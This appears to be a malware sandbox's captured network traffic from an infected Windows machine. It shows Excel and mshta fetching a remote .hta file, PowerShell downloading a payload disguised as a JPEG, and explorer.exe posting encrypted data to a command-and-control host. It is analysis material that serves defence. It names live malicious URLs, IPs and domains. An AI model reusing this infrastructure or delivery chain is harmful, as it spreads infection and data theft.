Nov 18, 2024 18:22:37.494255066 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:37.499233961 CET	1236	IN	Data Raw: 76 62 78 59 6e 34 4f 41 43 57 52 4f 53 55 41 46 52 4c 52 4c 54 6b 64 46 6c 49 52 6f 57 6c 78 58 33 55 57 51 68 50 57 47 46 4e 6d 6d 46 4e 47 46 62 4a 31 59 5a 43 62 42 68 54 5a 4e 38 78 52 44 73 52 52 35 45 51 48 46 56 49 56 49 64 6d 39 6d 67 45 Data Ascii: vbxYn4OACWROSUAFRLRLTkdFlIRoWlxX3UWQhPWGFNmmFNGFbJ1YZCbBhTZN8xRDsRR5EQHFVIVIdm9mgEZ2W8RIFbVN/lsLqwlWXBmEX+VqIWFk0Y1YQthDe0wPWM054cTBTEdFhIR3UkdXhI7DbwS7V5YKRv9nu8ZFtCy6Y0yYrBRlbO1oVtBEIPwGTM2I5PRRUEpEhNRnVWsN+KBVrLChcd5oUaVGTUR6TUBFhLRHXklUhe4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49175	46.173.214.24	80	1244	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 18:22:41.198791027 CET	281	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ashjidrdhauflvyw.net/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 275 Host: prolinice.ga
Nov 18, 2024 18:22:41.198818922 CET	275	OUT	Data Raw: 6e e2 e5 fa c1 4f f4 14 6d 64 c5 11 3a 2b 8d 8e d8 54 ea 27 4e fd bb eb 83 9e 05 1e ac 34 37 73 36 c2 e5 c1 08 d1 89 d5 67 bb c4 f1 99 ac 30 26 e8 37 1e 48 8c 38 2e e3 36 d6 88 68 45 d7 76 e0 a7 fb bc 52 ee cc 59 3b 1f d6 b3 50 4c 85 65 c2 e2 ce Data Ascii: nOmd:+T'N47s6g0&7H8.6hEvRY;PLe3jKby FK';]Nx1P}[TT=uowlq0p\|1MRbnF7U/k&UD>qF?@Eg/8*Fa_w
Nov 18, 2024 18:22:42.390245914 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 18 Nov 2024 17:22:42 GMT Server: Apache/2.4.59 (Debian) Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 35 32 64 35 33 0d 0a 84 00 00 00 a0 5f e8 0a 27 e8 d3 d3 81 21 79 b3 53 e5 35 0b ec 13 ad 26 4d 93 dc e5 25 0a ed e2 44 4a 3b 47 a5 77 e3 2c 25 29 67 7b b4 1d 52 9a 46 7a 54 8c 7e 72 ec d5 7e f4 44 cf b3 6b eb a7 41 63 d4 4a be ec 6e e8 4b 42 15 65 fa 28 3b 12 b5 17 01 51 60 01 78 3a 91 7f 32 8b 47 78 ce d5 ea f0 7b d0 1e 45 fe 16 dc 84 fa d9 be 93 bd db 4a 1d 9f ac 79 dd 2f b5 84 79 6d 21 b3 90 51 dc c2 a5 14 5d bd 12 b6 4b 00 ca 2c 05 00 7c e1 f7 57 09 03 02 00 09 00 9e 03 00 00 53 1f 7d 22 77 32 62 71 76 3f 4f 55 52 12 42 00 c9 32 ee 68 fe 0f ca 76 74 07 d6 d6 f9 b8 92 29 e8 55 92 92 3e c8 50 dd 24 a4 99 ce 5c 90 b9 3b fc 51 49 c0 0d f0 19 d3 e9 92 2a 7a f7 09 00 bb 7a b8 01 84 b7 a3 64 8b 0b f3 9f 79 57 fa 26 ce 46 fb 76 8c c7 a7 e0 22 d1 2d c9 1e 43 c3 ef c1 4c dd a0 af 3d b8 a8 a5 fb c0 70 8e 98 0e df 4b cc 40 42 f2 70 5e a2 6b 51 b2 9f 66 73 fe c7 15 ac cd f6 9d 88 6a 44 07 1e 8d 8b 6b 24 18 2b 4b 2a ec 81 b7 50 50 a4 4e ad cf 32 5c c0 15 b4 57 90 1b 0d ee 6c f7 54 23 c9 ed 8e bc 36 a0 b4 7a [TRUNCATED] Data Ascii: 52d53_'!yS5&M%DJ;Gw,%)g{RFzT~r~DkAcJnKBe(;Q`x:2Gx{EJy/ym!Q]K,\|WS}"w2bqv?OURB2hvt)U>P$\;QIzzdyW&Fv"-CL=pK@Bp^kQfsjDk$+KPPN2\WlT#6zbRKZ :D?UkKc'O?i@i3E\| [}S2TqL L7@x!FEx{4@h;pg_Q@[N2H%s;"r21LVRvo9bN\|P,ds,^L+j m.&>g!=/r:l_U*kH >(OAO\|q;@+o%Snnq nU[f&C5GT] T]>g{v[ySzB8IX<\r}23:=;HX>H+exij=Ou`'p3\|JY=R^Xo[#kn^T-la@9>$z\|kXv6]O8Rp\|otzAY2u-jk75HwbEIrBG`yDvWR0md9n/oc$7;KC?iT6cTD/m#R\|~Yr [TRUNCATED]
Nov 18, 2024 18:22:42.390294075 CET	212	IN	Data Raw: 50 60 c1 62 4e 47 09 99 34 01 6f 12 1a 46 5a dc 19 8a 32 8e 3a 4a 46 78 d9 bd c0 47 06 63 a2 e7 43 6c 5f a3 5c e6 3f 2b e2 a7 6d 88 36 d1 ab 7a 33 cd e9 51 55 b8 03 fb 2e 0d 79 6a 86 6c 78 60 5a 8e 07 2c 38 79 4f 36 32 6e 72 7e f0 72 29 40 6c 3b Data Ascii: P`bNG4oFZ2:JFxGcCl_\?+m6z3QU.yjlx`Z,8yO62nr~r)@l;i2,!a'MyPXN_k0aW,xqWbsevmBH,c:l%TM007#1<?y
Nov 18, 2024 18:22:42.390305996 CET	1236	IN	Data Raw: 99 65 d5 2d f5 67 a5 df 07 1c 74 f5 67 bd 63 db 08 77 af d3 8c 6d 56 60 26 f6 24 45 a8 5e 97 11 75 41 b4 77 49 98 30 71 b8 06 83 3a dd 3c bd f3 ae 0b 02 a2 80 23 7f 02 79 66 c6 fa 48 ee 4a d1 79 d0 3c 96 bd 13 34 1f 1d 11 5e 2f 7c 94 67 02 e3 78 Data Ascii: e-gtgcwmV`&$E^uAwI0q:<#yfHJy<4^/\|gxgaD{t`viG"J+`RsqN:#(]5%f__`BxTCB/Z\|-t[DDgd/pXLid*C!@qv^=:g{
Nov 18, 2024 18:22:42.390321016 CET	1236	IN	Data Raw: b0 08 1a b5 21 fe 8d 1b a2 44 ad 36 e0 77 5c 98 a2 fe 1c 8d ed 29 14 9b f8 aa 38 f5 1e c1 35 2f 97 51 4e 7c 84 77 95 ee de c1 ce 9f 6e 32 2b 10 77 b2 d9 30 2f 02 81 e1 38 a6 a6 13 f3 02 84 36 53 75 ea a1 a0 c1 cc 39 0a f5 bc 99 22 4d 2e 18 6b bc Data Ascii: !D6w\)85/QN\|wn2+w0/86Su9"M.k$qW[PNkW,RPj+\mT~/^\U&gB,5<z#{4s/X/5e?s$lQ7]FsF[7):lFp?.%8*s,t!
Nov 18, 2024 18:22:42.390327930 CET	1236	IN	Data Raw: ad 7d 76 06 9c a3 e1 b9 8d ef cd 66 61 75 c8 9e 29 8d 8f 4e 72 29 15 bc f2 3c 68 2f 82 44 67 71 60 3f 94 9d 7c 6c 44 9a d5 97 1d 7e 04 9e a2 63 5e 91 25 97 02 bc cb 75 1e 3d 91 36 4e 21 8c cb b0 d0 e4 5c eb b3 1b 7d da 01 14 01 4b 31 34 e6 fa 9c Data Ascii: }vfau)Nr)<h/Dgq`?\|lD~c^%u=6N!\}K14KH;z<d#C^n+~UdH+J8SSo_g+>yS^5%#B>ef)wO/jHP:+ -/_A]K*_kkOly1Tp`\|
Nov 18, 2024 18:22:42.390422106 CET	636	IN	Data Raw: 68 c9 d2 dc e0 02 14 01 a2 56 a5 31 58 c7 29 8b b7 d1 6a 47 a4 44 d4 5f 87 43 d9 f3 f9 12 9f da 66 d2 14 69 65 fe 9f 52 b4 f7 48 ee 6e ea 63 51 6c 27 24 75 3b c5 f4 71 82 0c 92 8b 9c 90 64 7f 9c d7 42 dd 34 ce 5d 8c 2a df cb 92 5e 25 ae f7 d0 bd Data Ascii: hV1X)jGD_CfieRHncQl'$u;qdB4]*^%oAwKlos\if[y-ea(78i4v>ZGNj-L.EQO h/8gHmxPPc!}P04 .0Yf8a%`w%BEYMmQ5PIQ
Nov 18, 2024 18:22:42.390717030 CET	1236	IN	Data Raw: 90 6f d5 86 12 6d fc 53 13 a8 c1 0a 8a af 89 df 66 25 35 10 34 1c 6d 7b 67 78 d5 80 d4 cd a3 f4 c9 4b 09 b2 8f c5 69 b3 e3 2e 68 db 5f 54 ac f4 4b ea f4 95 cf a6 e0 97 64 46 fa b2 4c 4e 19 30 04 78 43 d3 ff 6c 6e 19 40 99 27 48 d4 f5 71 c8 8c eb Data Ascii: omSf%54m{gxKi.h_TKdFLN0xCln@'Hq^o)h/dP,k}4K:VmBJ:Im;#OON {QK>:JmD9Jwx23gk>7)$YqPVpECH$H;\l=gK3c{R\Qo
Nov 18, 2024 18:22:42.390722036 CET	1236	IN	Data Raw: 81 1a 91 ad a0 f5 38 b8 7c 5b 42 82 cf 5c f8 f3 8a 04 61 3a 4d dd dd 2d 80 40 2b 22 ee 6b 6f 17 fa dd b9 cf 0d 84 3f d4 e3 ff 65 86 bb 51 5d 2a 36 81 2d d3 fc 54 91 22 56 f9 f4 d4 62 b0 18 c9 6c 00 f4 c6 78 56 7e 7b 79 2f 4f e9 2f a8 24 40 4b f4 Data Ascii: 8\|[B\a:M-@+"ko?eQ]*6-T"VblxV~{y/O/$@K+3i{5js&EfUF=vDN%n2 RC8GYNe?hj$T"sScdZl"[ff0EUZ(qnmT(
Nov 18, 2024 18:22:42.390734911 CET	424	IN	Data Raw: a6 96 79 ab d8 ea fc d0 6c 2a ce b7 f0 59 51 2b f2 52 dc c2 91 56 73 13 17 ac 6a 0c 48 df f3 c5 67 94 98 30 c9 61 29 99 61 e4 76 f7 50 1d d8 1c 6c 69 6c c8 a4 9b eb 9a 64 c0 aa 3f ac fc 91 d5 b6 d0 fd da 36 cd 1a de 5c 7c 7a b3 9d 21 83 37 62 79 Data Ascii: ylYQ+RVsjHg0a)avPlild?6\\|z!7bySpm@\|>5j<~M@Gl37Mai,EW8'xgKP+j<]Cqrh]AQh;n}Q7tJ%9>D-pOk
Nov 18, 2024 18:22:42.390836954 CET	1236	IN	Data Raw: 5f 40 71 1e 0c 66 ab e7 99 68 90 12 29 11 97 ee 5b 02 5c fd 05 4c 9d ba f2 ec 4d 6a f5 8d 8a ae 38 4c be b2 c6 8a e5 63 79 a3 8c 19 79 3a 5f 77 90 9c 7c 94 e4 f9 4f 7c 3a ba 38 a1 7f 33 47 55 9b 2e 52 17 3d ce b6 e7 90 7d 0f 3a 11 da 07 18 69 c9 Data Ascii: _@qfh)[\LMj8Lcyy:_w\|O\|:83GU.R=}:iq9[NT}];XuaJ6[?'ZGPIOpo9oQDoOVFhuu<gB#qx)z#j-d$hUe4U4GX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49176	46.173.214.24	80	3756	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 18:22:57.567322969 CET	274	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://prolinice.ga/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 1395 Host: prolinice.ga
Nov 18, 2024 18:22:57.567322969 CET	1395	OUT	Data Raw: 6e e2 e5 fa c1 4f f4 14 6d 64 c5 11 3a 2b 8d 8e d8 54 ea 27 4e fd bb eb 83 9e 05 1e ac 34 37 73 36 c2 e5 c1 08 d1 89 d5 67 bb c4 b0 d5 ee 65 75 c5 67 5d 48 8c 38 2e e3 36 d6 88 68 45 d7 76 e0 a7 9a bd 52 eb cc 59 3b 1f d6 b2 50 4c 85 5d 82 f8 a2 Data Ascii: nOmd:+T'N47s6geug]H8.6hEvRY;PL]Oc~k_!z1rJC\S7Wx>x :xGresnq~jE%ow#RCIP6=I.:ua)i1b\|Fz1ra!
Nov 18, 2024 18:22:58.746625900 CET	584	IN	HTTP/1.1 404 Not Found Date: Mon, 18 Nov 2024 17:22:58 GMT Server: Apache/2.4.59 (Debian) Content-Length: 409 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.59 (Debian) Server at prolinice.ga Port 80</address></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	5.45.108.48	443	3224	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-11-18 17:21:29 UTC	391	OUT	GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: link.uebie.de Connection: Keep-Alive
2024-11-18 17:21:30 UTC	616	IN	HTTP/1.1 302 Found Server: openresty Date: Mon, 18 Nov 2024 17:21:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 121 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta Vary: Accept X-Served-By: link.uebie.de Strict-Transport-Security: max-age=63072000;includeSubDomains; preload X-Served-By: link.uebie.de
2024-11-18 17:21:30 UTC	121	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 30 37 2e 31 37 32 2e 34 34 2e 31 37 38 2f 35 33 2f 63 67 2f 62 65 73 74 74 68 69 6e 67 73 61 6c 77 61 79 73 67 65 74 62 65 73 72 65 6e 74 69 72 65 6c 69 66 65 74 68 69 6e 67 73 74 6f 67 64 6f 6d 79 62 65 74 74 65 72 74 68 69 67 6e 73 77 69 74 68 67 72 65 61 74 2e 68 74 61 Data Ascii: Found. Redirecting to http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49163	5.45.108.48	443	3544	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 17:21:32 UTC	415	OUT	GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: link.uebie.de Connection: Keep-Alive
2024-11-18 17:21:32 UTC	616	IN	HTTP/1.1 302 Found Server: openresty Date: Mon, 18 Nov 2024 17:21:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 121 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta Vary: Accept X-Served-By: link.uebie.de Strict-Transport-Security: max-age=63072000;includeSubDomains; preload X-Served-By: link.uebie.de
2024-11-18 17:21:32 UTC	121	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 30 37 2e 31 37 32 2e 34 34 2e 31 37 38 2f 35 33 2f 63 67 2f 62 65 73 74 74 68 69 6e 67 73 61 6c 77 61 79 73 67 65 74 62 65 73 72 65 6e 74 69 72 65 6c 69 66 65 74 68 69 6e 67 73 74 6f 67 64 6f 6d 79 62 65 74 74 65 72 74 68 69 67 6e 73 77 69 74 68 67 72 65 61 74 2e 68 74 61 Data Ascii: Found. Redirecting to http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49166	142.215.209.78	443	2104	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 17:21:54 UTC	192	OUT	GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1 Host: 1017.filemail.com Connection: Keep-Alive
2024-11-18 17:21:54 UTC	324	IN	HTTP/1.1 200 OK Content-Length: 2230233 Content-Type: image/jpeg Last-Modified: Thu, 07 Nov 2024 02:06:04 GMT Accept-Ranges: bytes ETag: 4bb5a8185f3b16880e3dcc573015c5d9 X-Transfer-ID: wxhdiueivoluihj Content-Disposition: attachment; filename=new_imagem.jpg Date: Mon, 18 Nov 2024 17:21:53 GMT Connection: close
2024-11-18 17:21:54 UTC	2539	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-11-18 17:21:54 UTC	8192	IN	Data Raw: 2c 06 20 df 5c f4 5e 33 e0 b1 78 9c 2d a7 9d 59 62 3e d8 3f b3 fe 0b 07 80 68 46 9a 01 60 b1 6d c4 73 80 8f d9 f6 30 7e d5 7e d2 18 d4 22 2e 96 11 43 a8 1b 12 b3 37 c4 de 6d 57 db 19 34 ef fb a8 e4 f1 66 67 70 d4 db be e8 a1 7e 34 c3 71 cb f8 33 b7 ff 00 75 6f 1f 9d 1a 80 d3 22 15 3d f8 8f 9f a6 d3 8b eb 75 25 3e dc 47 1b 10 37 f8 ae fd ec 3d 5f fd 8a 82 af a5 7a b0 30 fe df f8 62 78 7f 89 78 5a 78 7c 7b 65 96 c2 ed ad cc e1 96 8d fb f2 31 ef b0 9f 66 e5 56 3e 29 ad 2e b3 ee 23 6b 5d 91 ef 8f 7d b6 3b 7e d3 fd 99 2c a0 de a4 02 48 e8 3c c8 b9 fd 2b 3d bb ec 8d 18 91 c0 14 68 7f 2c 07 62 d7 b9 50 09 0c 17 b8 3d 46 5b ef 85 1c b2 38 dc d5 6b 7c 8c cd 80 06 22 88 00 fb 74 c5 c6 89 f4 fe 2d 26 ab ef 2f e5 b0 1e 8a 15 d3 03 7b ef a3 82 6d 4f 7c 20 f1 02 0b 6d Data Ascii: , \^3x-Yb>?hF`ms0~~".C7mW4fgp~4q3uo"=u%>G7=_z0bxxZx\|{e1fV>).#k]};~,H<+=h,bP=F[8k\|"t-&/{mO\| m
2024-11-18 17:21:54 UTC	8192	IN	Data Raw: dd a3 69 e0 81 80 b4 bb d5 b9 21 af 06 01 62 0d 0f cf 1d 4d 23 b8 65 28 d4 bc 0f 8e 0d f4 cf 13 1b 8d a8 0c 01 02 0c 4c a1 45 df 5c 09 14 79 c7 a4 45 83 61 11 93 bc 6e c5 64 52 18 92 b5 b8 d8 17 80 2a c6 b4 b1 99 37 25 75 ca e9 e0 67 6d c5 09 50 73 52 24 48 68 f9 44 b3 77 1d f0 00 be 1c 8d 09 7d c4 1b e9 8e 26 91 5f 44 04 67 d4 3a 7b 93 f1 cd 08 d0 08 8b 88 5b 81 7c f7 39 63 ab 54 8e 35 8e 05 5e 79 38 19 51 46 9a 92 f1 3a 95 65 50 2c 71 cd f2 79 c1 6a 22 68 11 63 0d 61 01 5d c0 f3 d7 34 a4 68 e7 76 21 29 82 51 23 bf 3d 71 72 10 25 94 e5 4e db 27 ae 06 49 82 47 8c ca 5b 75 7b 0e 41 c2 e8 d6 4d 42 3c 21 a8 8e 6c 9a fa 73 8d e8 b4 52 3e aa 43 11 21 36 12 79 b1 78 d3 e9 a3 8a 24 da a1 58 b6 e2 c7 8b 15 fd eb 00 6a 87 4f 11 0c bc 7e 10 6b 9f 9e 20 ec ab 21 3c Data Ascii: i!bM#e(LE\yEandR*7%ugmPsR$HhDw}&_Dg:{[\|9cT5^y8QF:eP,qyj"hca]4hv!)Q#=qr%N'IG[u{AMB<!lsR>C!6yx$XjO~k !<
2024-11-18 17:21:55 UTC	8192	IN	Data Raw: 01 07 2c c3 d2 a0 0d a3 28 c4 c6 a5 c4 4e c6 c2 9d bd 4f 38 c4 70 29 66 91 63 60 58 5b 5f 7c e3 26 d1 75 c5 50 18 19 fa b1 a4 69 94 f9 32 09 d0 12 c0 2f 0c 2b 8b c4 f5 7a 38 27 89 de 3d 30 69 5b e3 ca f1 ed 9b f0 c7 68 f2 79 45 b7 f3 c7 c0 e2 5a f9 d6 1d 36 d0 8e ac 0e ef 4d 5d 76 c0 ca f0 9d 1c 7a 4f 14 d2 c4 ed 73 95 2c 4f f8 7d 2d fd b3 d4 c4 cf 26 9d de 66 20 ab 12 0f 4e 33 cd 78 76 ad e7 f1 18 5e 54 6b 24 ae e3 d3 a1 eb 9e 8b 50 ae 63 6f 2c da b2 95 e7 b6 00 60 9d f5 b0 4f 1a 3f 97 21 6a 46 6e e3 3c b6 a3 57 ad d1 6b 0c 33 3b 20 56 ea 7a 37 39 bd a0 d1 cb a6 12 1d e5 94 35 ad 9e 98 97 8e 46 d3 e8 d8 be d2 ea f4 19 ba 8c 0c 2f 17 97 ef 1e 27 24 80 d9 60 bc 8f 7d a0 7f 43 83 80 c2 75 71 19 14 85 f3 63 b5 3f e1 1f 8b 05 1c 8f a3 d4 ab ed 05 94 82 03 74 Data Ascii: ,(NO8p)fc`X[_\|&uPi2/+z8'=0i[hyEZ6M]vzOs,O}-&f N3xv^Tk$Pco,`O?!jFn<Wk3; Vz795F/'$`}Cuqc?t
2024-11-18 17:21:55 UTC	8192	IN	Data Raw: c9 e5 58 af cc 03 86 3a c9 83 17 f3 03 12 14 10 ca 0d d0 e3 8c 59 9c c8 cd 64 96 63 64 93 d4 e0 51 48 0c 2f a0 cd 4d 3e 8c 6b 5d 3c b7 50 cc c3 d2 48 15 c7 c7 33 50 ec 70 dd 6b 36 34 8e 4c aa e8 42 fa a3 e8 4d 8f 49 be d8 06 1b 3c a5 69 91 54 af a4 95 37 b8 5f 04 f3 8b 6b a2 02 64 a3 4b d8 91 d3 e9 96 4a 58 4b 79 ac 15 40 24 df 3d 7e 23 29 20 fb c2 a5 b9 a6 70 ad 62 88 3f d7 00 2f 0a c0 4a f9 85 9c a9 53 c7 e1 3d 70 02 0d ac 40 e7 a7 27 db 2d 2f 96 aa c1 0b 07 56 3b ac f0 d7 9c ec cc 1c 79 85 8a d1 f6 b1 58 01 54 69 5c db 50 b3 c9 3d 32 bb 0e e0 07 3c d6 50 80 00 e6 ec 5e 12 30 80 8d cc 41 f6 18 04 11 9b db 77 87 8d 12 32 77 28 dc 3d f3 83 aa 21 21 03 00 38 6c 55 6e 76 b7 63 c6 06 80 9b 7b 04 15 43 b9 39 c6 42 a0 a9 01 81 e9 66 eb 33 a5 4f 2d e8 58 f8 e4 Data Ascii: X:YdcdQH/M>k]<PH3Ppk64LBMI<iT7_kdKJXKy@$=~#) pb?/JS=p@'-/V;yXTi\P=2<P^0Aw2w(=!!8lUnvc{C9Bf3O-X
2024-11-18 17:21:55 UTC	8192	IN	Data Raw: 1f 69 75 8c 48 f2 e1 00 7b ab 7f ea cc 42 5a 3a 28 c2 ba 10 72 ea ca 58 75 b3 f9 60 6d 0f 1d d4 b8 63 b2 05 50 38 01 5b 9f fc 58 6d 5f 8b ea 56 14 6a 8b 6f 5a da dd 6b fd ec c2 de a7 83 84 d5 ea 12 58 d1 0d d2 fb 60 6a 45 e3 5a 93 15 85 89 7e 1b 5b 9f d7 05 ff 00 c4 5a c8 9a 8c 70 8f 9a b7 3f ae 66 a1 60 a1 d0 31 5e d7 95 91 83 7e 21 47 df 03 5c fd a4 d6 37 58 74 d7 d8 ed 6b ff 00 cd 99 5a 9d 42 ce ed 23 46 aa 5b f1 6d ba 27 df 92 70 61 2a 2b dd 67 b6 0a 6b 11 30 3d eb f9 e0 54 4e 88 0d 7a 89 ca c7 3b 33 ed 23 86 e3 07 14 5e 63 10 4d 57 be 11 f4 bb 3a ba ee 3d 00 c0 d3 84 8d 62 a6 8e 46 55 97 a4 32 1e ab fe 56 f8 1e df 1a c4 25 32 46 de 53 f2 63 24 1f 81 07 90 30 cb 0e c8 02 96 b2 dc df b6 39 e2 a8 67 4d 3e b4 70 66 8c 07 0d d4 b2 f0 c7 f9 60 66 97 79 58 Data Ascii: iuH{BZ:(rXu`mcP8[Xm_VjoZkX`jEZ~[Zp?f`1^~!G\7XtkZB#F[m'pa*+gk0=TNz;3#^cMW:=bFU2V%2FSc$09gM>pf`fyX
